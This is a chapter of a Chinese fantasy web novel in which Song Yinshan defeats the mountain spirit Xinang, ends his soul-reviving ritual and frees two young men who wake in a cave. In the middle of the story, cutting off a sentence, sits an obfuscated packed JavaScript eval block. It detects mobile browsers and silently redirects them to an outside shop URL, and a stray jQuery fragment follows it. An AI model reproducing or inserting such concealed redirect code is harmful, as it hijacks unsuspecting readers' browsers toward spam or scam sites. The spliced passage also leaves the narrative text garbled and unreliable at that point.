古树依旧在吸收周围的热力,司阳只觉四周越来越冷,但身下的祭台却在散发滚烫的温度,冷热交替,难受至极。
树中流出的绿色汁液形成的水团逐渐长大,已经包住祭台,司阳早已看不见宋引山的身影。
傒囊从祭台上跳下,四名落花洞女紧随其后警惕地看着宋引山。
气氛僵持。
傒囊率先开口:“都说宋家姑娘见多识广,果然名不虚传,竟一眼就看出了我的还魂阵,既然如此,你应该也知道我要做什么,如今阴雀山者已经不在,两山由我做主,我既能让人平安出山,也能让人无声无息地消失在山里。”
宋引山握着玄铁棍的指节泛白,傒囊的声音像一块重石击在她的心中。
七星还魂,最开始需要七百七十七个魂灵做基础,巩固祭台,化炼七七四十九日,最后需有七位体格特殊之人做祭,启动阵法,召回所求之人魂魄,引魂入体,可令死者复生。
看眼前状况,已是阵法启动的最后一日。
除却自己和傒囊,这山谷中已有六个体格特殊的人。
还有一人是谁?
只能在前面的商队中。
宋引山的呼吸逐渐沉重。
傒囊看出了她的愤怒,反而嬉笑:“他们都说你很善良,如今看来确是如此,若不是为了这两个毛头小子,你早就杀了我。我愿意为了你善良的名声与你做个交易,祭台上的两个留给我,再让我从上头的人群中挑走一个,其余的,我会放他们平安出山,如何?”
言毕,傒囊大手一挥,一片水波纹出现在众人眼前。
水波纹中出现商队一行人的身影,他们已来到落花洞口,准备进洞。
落花洞的地下,就是他们所在之地。
“他们中共有三十个人,我只需要挑一个人,够义气了吧。”傒囊左手比个三,右手比七,“三十和七,选择救哪边,显而易见了。”
三十个人已经进入洞中。
“进了山,就由我做主咯,我轻轻一挥手,就能捏死他们。”傒囊伸出五根手指弯了弯。
宋引山皱眉冷声:“威胁我?”
傒囊:“你也可以这样理解。”
水团中传来司阳和纪微生痛苦的呻吟声,还魂阵已经开始运转。
“你的时间不多了。”傒囊挑眉道。
只听宋引山深深吸了口气,低头垂眸,看不清她的神色,道:“你既然听说我很善良,那你有没有听说过一句话?”
傒囊:“什么?”
宋引山握住玄铁棍的一端,横平地端着,棍尖出现星星白光。
“有活人的地方就有死人,有死人的地方就有宋引山,”宋引山向前走出一步,头上的铃铛突然发出一声清脆的声响,“而死人,往往都很欢迎我的到来。”
“你想干什么!”傒囊面色惊恐,面对宋引山时脸上伪装的冷酷与镇定尽数破裂。察觉到宋引山身上爆发出的强大灵力之后开始疯狂地从落花洞女的身体中吸取力量以做抵抗。
四名落花洞女瞬间惨叫起来。
宋引山面色更加不悦,冷声道:“只有比我强的人才有资格威胁我。”
“还有,我很不喜欢你话多的样子,烦。”
四周骤然陷入一片黑暗。
无边无际的虚无蔓延开来。
时间在此刻静止,有风从四面八方吹来,形成一个深深的漩涡。
宋引山站在漩涡中心。
无数冤魂哭嚎之声在空中回旋,围绕着她哭泣。
傒囊在黑暗之中动弹不得,眼见黑暗中出现一点白光逐渐靠近自己。
宋引山提着一盏银白色的灯走到他面前,像厉鬼一样轻声细语地宣读他的罪行:“你囚禁正神,借神之名残害无辜百姓,以少女身躯滋养自己,不杀了你,难解万千无辜惨死之人心头之恨。”
她说:“我送你去长归门可好?”
声音温柔,但傒囊从中听到了极致的冰冷与了无生机。
傒囊惊恐地瞪大双眼,想拼命摇头,可他根本无法动弹。
直到此刻,他才感到了害怕。
过山铃。
引魂灯。
长归门开,众生皆鬼。
而宋引山,可引万鬼随行。
这些原本他只听阴雀山者跟他说过。
传闻中的引山人。
他以为那只是传说故事而已。
“告诉我,为什么要这样做?”宋引山依旧和煦。
“呃啊……”傒囊不受控制地努力张口,仿佛有一股无形的力量推动字句冲破喉咙,带着血丝,“有人跟我说,只要我完成此阵,我就自由了,四海天地任我遨游。”
宋引山:“什么人?”
傒囊喉咙中涌出鲜血:“我不知道,只知道是个女人,戴着面纱,她没有告诉我她的身份,是她帮我把阴雀山者封入古树中,设立祭台,我只需要将引入的魂魄锁在此处,再找七位体格特殊之人于今日启动阵法即可。其他的我真的不知道。”
傒囊的形体恢复成了孩童模样,眼中噙满了泪水,哭得像是一个离开了母亲的孩子:“我只是想离开这里……人人都有母亲,唯独我没有,我要去找我的生母,可是山者从不允许,他一直囚禁我,他要将我囚禁至死,我恨他!”
宋引山:“她是如何封住山者的?”
傒囊回忆道:“……我……,是她让我说有贵客来访,请山者一叙,她给了我一个信物,是一串白珠,山者见了,欣然前往……后来……她就告诉我,山者已经被封入树中……”
“没了山者,我本来想离开这里,可她说她能封住山者,也能封住我,只要我帮她启动七星回魂阵,她就给我自由。”
越往下说,傒囊越不敢看宋引山的眼睛。
宋引山闻言厉声道:“糊涂。”
身后仍有近千的冤魂在哭喊,尖锐,嘶哑,落在风中。它们叫嚣着靠近傒囊,想要将他碎尸万段。仿佛有无数双冰冷的手从黑暗之中伸出,带着陈年的血垢,抓向傒囊的衣襟、头发、脚踝。
它们的痛苦哀嚎变成致命的绳索缠上他的四肢百骸,像是要将他的魂魄从躯壳里硬生生拽出来。
傒囊蜷缩着身体,止不住地颤抖。
宋引山说:“七百七十七个冤魂,你知道你造了多大的孽吗?”
他们大多数是进山的平民百姓,一生勤勤恳恳,老实本分,却在进山途中丢失性命,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900293|209200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
死后不仅魂魄被拘,入不了轮回,还被勒令残害无辜。
为复活一人,而害死这么多人。
宋引山冷眼看他,转身,“你自己了断。”
她在虚无中衣袖翻飞。
一个巨大的“引”字出现在空中。
傒囊感受到了周围冤魂的愤怒,低头时手上出现一张纸:
傒囊,山中精怪,由山孕育而生,外形酷似幼童,常出没于两山之间,性开朗,渴求自由,终其一生寻找生母,故逢人便伸手引导,但若被带离原居地便会死亡。
——困囿终生,不知山为其母。
生于山,散于山。
泪水滴落在纸张上,晕染了字迹。
直至此刻,他终于明白自己做了一件多么愚蠢的事情。
他终其一生都在寻找的念想其实一直都在他的身边。
“引”字消散,一扇怪门出现。门头上有“长归”二字。
身后的傒囊随风而逝,只留下纸张翩然落地。
宋引山提灯进门,心中叹息。
她本意是将其他人送出山之后再开门引渡,现在计划得变了。
哭诉的冤魂逐渐息声,一颗接一颗白色的珠子从空中掉落,如下雨,如流泪。
执念散,鬼珠生。
长归门后,望乡台前,魂入鬼域,方可轮回。
鬼珠化作无数流光,随着宋引山的身影,隐入黑暗。
……
落花洞中。
司阳在浑身疼痛中睁开了眼睛,看到了纪微生背对着他坐着。
他在地上捡了块石子朝他丢去。
纪微生感知到后回头,走过来,手里拿着一张纸。
“速速离去。”
纸上有四个大字。
“我们怎么会在这里?”司阳问。
他记得他们不是被困在古树下的祭台上了么?
“不知是何缘故。”纪微生摇头,“我醒来时就在这里,此地岔路奇多,商队的人就在旁边的通道里休息。”
“宋引山呢?”司阳问。
纪微生把纸拿给司阳看,“我醒来时这纸就放在我怀里,应该是宋姑娘写的。”
洞中人声吵嚷,竟让司阳生出了一丝真实感来,仿佛刚才在山谷中发生的都是幻觉。
他失去意识时,听到傒囊对宋引山说“你的时间不多了。”
宋引山被傒囊威胁了。
现在他和纪微生安全出现在这里。
那宋引山呢?
她会不会有危险?
他们身上的伤口俱痊愈,司阳坐在原地愣了会儿神,只觉心神恍惚。
纪微生说:“像做梦一样。”
他们像误入罗浮境的行客,经历了世人都难以想象的奇事。
一眨眼却又回归了平静,恍若做梦。
宋引山,这个谜一样的女子,是以什么样的代价让他们平安离开的呢?
司阳和纪微生两人在四周的山壁上敲敲打打,希望能发现什么机关,或许能回到山谷中去,但是没有任何发现。
那个怪异的山谷,他们没有办法能回去。
宋引山把他们送了出来,一句话没跟他们嘱咐。